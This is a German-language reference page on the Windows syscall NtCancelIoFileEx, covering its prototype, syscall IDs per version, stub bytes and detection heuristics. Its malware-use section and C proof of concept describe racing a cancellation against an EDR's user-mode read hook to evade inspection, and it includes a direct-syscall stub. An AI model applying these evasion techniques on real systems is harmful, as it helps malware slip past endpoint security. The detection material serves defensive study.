NtCancelIoFileEx
Bricht eine bestimmte ausstehende I/O-Anforderung an einer Datei ab, unabhängig vom ausstellenden Thread.
Prototyp
NTSTATUS NtCancelIoFileEx( HANDLE FileHandle, PIO_STATUS_BLOCK IoRequestToCancel, PIO_STATUS_BLOCK IoStatusBlock );
Argumente
| Name | Type | Dir | Description |
|---|---|---|---|
| FileHandle | HANDLE | in | Handle auf die Datei / das Gerät / die Pipe, deren I/O abgebrochen werden soll. |
| IoRequestToCancel | PIO_STATUS_BLOCK | in | Optionaler Zeiger auf den IO_STATUS_BLOCK, der einen bestimmten In-Flight-IRP identifiziert. NULL bricht jeden ausstehenden IRP des Handles aus jedem Thread ab. |
| IoStatusBlock | PIO_STATUS_BLOCK | out | Empfängt das Ergebnis der Abbruch-Operation selbst (Status, Information). |
Syscall-IDs pro Windows-Version
| Windows-Version | Syscall-ID | Build |
|---|---|---|
| Win10 1507 | 0x8D | win10-1507 |
| Win10 1607 | 0x8D | win10-1607 |
| Win10 1703 | 0x8E | win10-1703 |
| Win10 1709 | 0x8F | win10-1709 |
| Win10 1803 | 0x90 | win10-1803 |
| Win10 1809 | 0x90 | win10-1809 |
| Win10 1903 | 0x90 | win10-1903 |
| Win10 1909 | 0x90 | win10-1909 |
| Win10 2004 | 0x92 | win10-2004 |
| Win10 20H2 | 0x92 | win10-20h2 |
| Win10 21H1 | 0x92 | win10-21h1 |
| Win10 21H2 | 0x92 | win10-21h2 |
| Win10 22H2 | 0x92 | win10-22h2 |
| Win11 21H2 | 0x92 | win11-21h2 |
| Win11 22H2 | 0x92 | win11-22h2 |
| Win11 23H2 | 0x92 | win11-23h2 |
| Win11 24H2 | 0x94 | win11-24h2 |
| Server 2016 | 0x8D | winserver-2016 |
| Server 2019 | 0x90 | winserver-2019 |
| Server 2022 | 0x92 | winserver-2022 |
| Server 2025 | 0x94 | winserver-2025 |
Kernel-Modul
Verwandte APIs
Syscall-Stub
4C 8B D1 mov r10, rcx B8 94 00 00 00 mov eax, 0x94 F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Undokumentierte Hinweise
In Vista eingeführt, um die Single-Thread-Scope-Beschränkung von NtCancelIoFile zu beheben. Mit `IoRequestToCancel == NULL` verhält es sich wie CancelIo, aber thread-übergreifend; mit einem Nicht-NULL-IO_STATUS_BLOCK-Pointer läuft der Kernel die IRP-Liste der Datei durch, matcht den IRP, dessen `UserIosb` dem übergebenen Pointer entspricht, und bricht exakt diesen ab. Der Win32-Thunk `CancelIoEx` exponiert beide Modi. Die SSN bewegt sich nur moderat: `0x90` auf Win10 1803–1909, `0x92` auf 2004–23H2, `0x94` auf Win11 24H2 / Server 2025.
Häufige Malware-Nutzung
Das reichste Mitglied des Cancel-Tripletts und das, das für **EDR-Hook-Bypass-/Race-Cancel**-Muster wirklich nützlich ist. Der Lehrbuch-Angriff: der User-Mode-`NtReadFile`-Hook eines EDR macht synchrone Content-Inspektion, bevor er den Call weiterreicht. Wird der Read overlapped (`FILE_FLAG_OVERLAPPED`) dispatcht und sofort `NtCancelIoFileEx` gegen den *spezifischen* IO_STATUS_BLOCK aus einem anderen Helfer-Thread aufgerufen, wird der Read herausgerissen, bevor die Completion-Routine des EDR feuert — der EDR bleibt mit `STATUS_CANCELLED` und ohne Daten zur Inspektion zurück. Echte Implants nutzen es auch für sauberen Teardown multi-threaded Pipe-/Socket-Worker in C2-Kanälen und als Watchdog, um hängende `DeviceIoControl`-Aufrufe gegen nicht reagierende Minifilter-Treiber abzubrechen.
Erkennungsmöglichkeiten
Höheres Signal als NtCancelIoFile, weil die *gezielte* Form in gutartiger Software weit seltener ist. Hooks auf User-Mode-`CancelIoEx` plus ETW `Microsoft-Windows-Kernel-File` und WPP-IRP-Traces können ein Sub-Millisekunden-Issue-dann-Cancel-Muster auf demselben Handle korrelieren. Verlässliche Heuristik: ein Thread, der NtCancelIoFileEx mit einem Nicht-NULL-`IoRequestToCancel` aufruft, der auf einen IO_STATUS_BLOCK zeigt, *dessen gepaarter NtReadFile / NtWriteFile / NtDeviceIoControlFile weniger als eine Millisekunde zuvor in einem anderen Thread abgeschlossen wurde*, während das File-Object eines der EDR-geschützten Handles ist (mfeavfk, csagent, MsSecFlt, etc.). EDRs, die die Inspektion in einen Kernel-Minifilter verlagern (Defenders WdFilter, CrowdStrikes CSAgent), sind gegen dieses Race immun, weil ihr Hook *bevor* der IRP zurück in den User-Mode abschließt läuft.
Direkte Syscall-Beispiele
asmx64 stub (Win11 24H2 SSN 0x94)
; Direct syscall stub for NtCancelIoFileEx
NtCancelIoFileEx PROC
mov r10, rcx ; syscall convention
mov eax, 94h ; SSN (Win11 24H2 / Server 2025)
syscall
ret
NtCancelIoFileEx ENDPcRace-cancel against an EDR user-mode hook
// PoC: issue an overlapped read, then yank the IRP from a helper thread
// targeting the specific IO_STATUS_BLOCK before any synchronous EDR
// completion inspection can fire.
#include <windows.h>
typedef struct _IO_STATUS_BLOCK {
union { NTSTATUS Status; PVOID Pointer; };
ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef NTSTATUS (NTAPI *pNtCancelIoFileEx)(HANDLE, PIO_STATUS_BLOCK, PIO_STATUS_BLOCK);
typedef struct { HANDLE h; PIO_STATUS_BLOCK iosb; } cancel_ctx;
static DWORD WINAPI Yanker(LPVOID p) {
cancel_ctx *c = (cancel_ctx*)p;
pNtCancelIoFileEx NtCancelIoFileEx = (pNtCancelIoFileEx)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtCancelIoFileEx");
IO_STATUS_BLOCK out = {0};
return NtCancelIoFileEx(c->h, c->iosb, &out);
}
NTSTATUS RaceCancelRead(HANDLE h, PVOID buf, ULONG len) {
OVERLAPPED ov = {0};
DWORD got = 0;
ReadFile(h, buf, len, &got, &ov); // hooked path
cancel_ctx c = { h, (PIO_STATUS_BLOCK)&ov }; // OVERLAPPED layout == IO_STATUS_BLOCK
HANDLE t = CreateThread(NULL, 0, Yanker, &c, 0, NULL);
WaitForSingleObject(t, INFINITE);
CloseHandle(t);
return 0;
}rustCross-thread cancel-all-on-handle
// Tear down every outstanding IRP on a handle from any thread.
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::System::IO::CancelIoEx;
pub unsafe fn cancel_all(h: HANDLE) -> bool {
// CancelIoEx(h, NULL) — under the hood NtCancelIoFileEx with NULL IRP.
CancelIoEx(h, std::ptr::null_mut()) != 0
}MITRE ATT&CK-Mappings
Last verified: 2026-05-20